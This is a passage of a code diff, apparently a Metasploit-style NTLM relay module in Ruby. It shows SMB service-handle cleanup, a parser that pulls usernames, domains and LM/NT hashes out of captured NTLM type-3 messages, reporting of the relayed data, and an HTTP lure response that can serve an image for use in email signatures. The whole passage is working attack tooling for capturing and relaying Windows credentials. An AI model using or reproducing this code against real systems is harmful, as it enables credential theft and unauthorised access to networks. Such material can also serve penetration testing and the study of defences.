+ if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
+ end
+ rescue ::Exception => e
+ print_error("Error: #{e}")
+ end
+
+ print_status("Closing service handle...")
+ begin
+ response = dcerpc.call(0x0, svc_handle)
+ rescue ::Exception => e
+ print_error("Error: #{e}")
+ end
+
+ ser_sock.disconnect("IPC$")
+ end
+
+ #print status, and add to the info database
+ def report_info(resp, type3_hash)
+ data = get_hash_info(type3_hash)
+
+ #no need to generically always grab everything, but grab common config options
+ #and the response, some may be set to nil and that's fine
+ data[:protocol] = datastore['RTYPE']
+ data[:RHOST] = datastore['RHOST']
+ data[:RPORT] = datastore['RPORT']
+ data[:RURI] = datastore['RURIPATH']
+ data[:SYNCID] = datastore['SYNCID']
+ data[:Response] = resp
+
+ report_note(
+ :host => data[:ip],
+ :type => 'ntlm_relay',
+ :update => 'unique_data',
+ :data => data
+ )
+ end
+
+ #mostly taken from http_ntlm module handle_auth function
+ def get_hash_info(type3_hash)
+ #authorization string is base64 encoded message
+ domain,user,host,lm_hash,ntlm_hash = MESSAGE.process_type3_message(type3_hash)
+ nt_len = ntlm_hash.length
+
+ if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
+ arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
+ :lm_hash => lm_hash,
+ :nt_hash => ntlm_hash
+ }
+
+ if arg[:lm_hash][16,32] == '0' * 32
+ arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
+ end
+ #if the length of the ntlm response is not 24 then it will be bigger and represent
+ #a ntlmv2 response
+ elsif nt_len > 48 #lmv2/ntlmv2
+ arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
+ :lm_hash => lm_hash[0, 32],
+ :lm_cli_challenge => lm_hash[32, 16],
+ :nt_hash => ntlm_hash[0, 32],
+ :nt_cli_challenge => ntlm_hash[32, nt_len - 32]
+ }
+ elsif nt_len == 0
+ print_status("Empty hash from #{host} captured, ignoring ... ")
+ else
+ print_status("Unknow hash type from #{host}, ignoring ...")
+ end
+
+ arg[:host] = host
+ arg[:user] = user
+ arg[:domain] = domain
+
+ return arg
+ end
+
+ #function allowing some basic/common configuration in responses
+ def set_cli_200resp()
+ response = create_response(200, "OK")
+ response.headers['Proxy-Support'] = 'Session-Based-Authentication'
+
+ if (datastore['RESPPAGE'] != nil)
+ begin
+ respfile = File.open(datastore['RESPPAGE'], "rb")
+ response.body = respfile.read
+ respfile.close
+
+ type = datastore['RESPPAGE'].split('.')[-1].downcase
+ #images can be especially useful (e.g. in email signatures)
+ case type
+ when 'png', 'gif', 'jpg', 'jpeg'
+ print_status('setting content type to image')
+ response.headers['Content-Type'] = "image/" << type
+ end
+ rescue
+ print_error("Problem processing respfile. Continuing...")
+ end
+ end
+ if (response.body.empty?)
+ response.body = "<HTML><HEAD><TITLE>My Page</TITLE></HEAD></HTML>"
+ end
+ return response
+ end
+end
Something went wrong with that request. Please try again.